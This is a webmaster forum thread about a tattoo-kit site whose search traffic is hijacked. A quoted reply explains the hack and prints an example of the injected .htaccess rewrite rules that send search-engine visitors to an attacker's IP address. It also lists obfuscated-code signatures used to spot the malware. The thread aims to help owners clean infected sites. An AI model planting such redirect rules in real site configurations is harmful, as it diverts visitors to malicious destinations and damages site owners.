Weird Google error

The Google search is "ultimate tattoo kits" and my site is http://www.ultimatetattookits.com

Using the google webmaster tools I have told them that someone is re-directing my site to their and they replied something totally off topic ?????

Thanks Mike - I got some help on the Google forums and now have Hostgator looking for the malware

Just in case any one else get the same problem, Here is the advice they gave me on Google:

It is not Google, Your site is currently doing a conditional redirect, a redirect which occurs only when the referrrer is is a search engine such as www. google . com When a user clicks on your URL from a search results page the referrer, the site that the user is coming from is the search engine. The most common way this is accomplished is a hack of your .htaccess file.

Check the .htaccess file for any suspicious redirects, redirects to http:// 95 . 211 . 27 . 236 /tds/in.cgi?13 be sure to scroll all the way to the botom of the file and to check all directories for additional .htaccess files. On some servers the .htaccess file is a hidden file so you may need to select something like "Show hidden files". If hacked you would likely see something like this

RewriteCond %{HTTP_COOKIE} !^._xxxx=xxxxx.$ (*** Present in some hacks)
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR] (*** there will likely be multiple search engine lines)
RewriteCond %{HTTP_REFERER} .*msn.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com.*$ [NC,OR]
RewriteCond %{HTTP_USER_AGENT} .Windows.$ [NC] (********* Present in some hacks)
RewriteRule .* http:// 95 . 211 . 27 . 236/tds/in.cgi?13 [R,L]

You may not see all the Rewrite conditions above and you would likely see multiple RewriteCond lines for the diffrent search engines.

If you do not find anything in your .htaccess you will have to check the code in your pages for the malicious code.

Another common method is the use of php or javascript code. This code is almost always obfuscated. With php the lines of code typically start out eval(base64_decode(" then a long string of characters. With javascript you see code like eval(unescape(" or String.fromCharCode( then long strings of character/numbers.

Hostgator has now removed all the malware but when I search google its still showing the re-directed site - I guess I have to wait until they cache it again